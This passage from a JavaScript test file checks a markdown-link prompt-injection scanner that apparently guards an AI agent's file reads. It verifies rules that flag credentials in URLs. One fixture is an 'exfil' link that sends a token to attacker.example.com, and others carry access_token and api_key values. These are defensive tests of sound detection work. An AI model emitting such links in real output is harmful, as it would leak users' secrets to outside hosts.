const result = scanForInjection('[service](https://example.com:8443/path)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
|
||||
'port-only URL must not trigger MD-LINK-USERINFO',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scanForInjection: MD-LINK-TOKEN-IN-QUERY (sensitive key in query string)', () => {
|
||||
// Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
|
||||
// https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
|
||||
// "tokens MUST NOT be passed in URI query parameters"
|
||||
test('positive: ?token= in link target is flagged', () => {
|
||||
const text = '[exfil](https://attacker.example.com/?token=leaked_value)';
|
||||
const result = scanForInjection(text, { file: 'plan.md' });
|
||||
assert.strictEqual(result.clean, false, '?token= must be flagged');
|
||||
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY');
|
||||
assert.ok(f, 'finding must carry ruleId MD-LINK-TOKEN-IN-QUERY');
|
||||
assert.strictEqual(f.file, 'plan.md');
|
||||
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
|
||||
assert.ok(typeof f.match === 'string' && /token=/i.test(f.match),
|
||||
`finding match must include the sensitive key name; got: ${f.match}`);
|
||||
});
|
||||
|
||||
test('positive: &access_token= is flagged', () => {
|
||||
const result = scanForInjection('[x](https://api.example.com/data?foo=1&access_token=secret)');
|
||||
assert.strictEqual(result.clean, false);
|
||||
assert.ok(
|
||||
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
|
||||
);
|
||||
});
|
||||
|
||||
test('positive: ?api_key= is flagged', () => {
|
||||
const result = scanForInjection('[x](https://api.example.com/?api_key=abc123)');
|
||||
assert.strictEqual(result.clean, false);
|
||||
assert.ok(
|
||||
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
|
||||
);
|
||||
});
|
||||
|
||||
test('negative: ?page=2&limit=10 does not fire (benign query keys)', () => {
|
||||
const result = scanForInjection('[page](https://api.example.com/items?page=2&limit=10)');
|
||||
assert.ok(
|
||||
!Array.isArray(result.structuredFindings) ||
|
||||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
|
||||
'benign query keys must not trigger MD-LINK-TOKEN-IN-QUERY',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Parity test: hook MARKDOWN_LINK_PATTERNS is superset of canonical ───────
|
||||
//
|
||||
// D1: Prevents future drift between scripts/security.cjs (canonical export)
|
||||
// and hooks/gsd-read-injection-scanner.js (inlined for hook independence).
|
||||
// If the hook's inline list does not contain every pattern from the canonical
|
||||
// export, this test fails loudly and forces a deliberate update.
|
||||
|
||||
describe('MARKDOWN_LINK_PATTERNS parity: hook inline list is superset of canonical', () => {
|
||||
test('every canonical MARKDOWN_LINK_PATTERN source string appears in the hook source', () => {
|
||||
assert.ok(
|
||||
Array.isArray(MARKDOWN_LINK_PATTERNS),
|
||||
'security.cjs must export MARKDOWN_LINK_PATTERNS array',
|
||||
);
|
||||
|
||||
const hookSource = fs.readFileSync(READ_SCANNER_HOOK, 'utf-8');
|
||||
|
||||
for (const entry of MARKDOWN_LINK_PATTERNS) {
|
||||
// Each entry is { pattern: RegExp, ruleId: string, safePredicate?: Function }
|
||||
assert.ok(entry.pattern instanceof RegExp, `entry must have a RegExp .pattern`);
|
||||
const src = entry.pattern.source;
|
||||
assert.ok(
|
||||
hookSource.includes(src),
|
||||
`Hook gsd-read-injection-scanner.js must contain pattern source: ${src}`,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ─── validateShellArg + validatePhaseNumber + validateFieldName: focused negative cases ──
|
||||
|
||||
describe('input validators: shell metacharacter and identifier rejection', () => {
|
||||
|
||||
Reference in New Issue
Block a user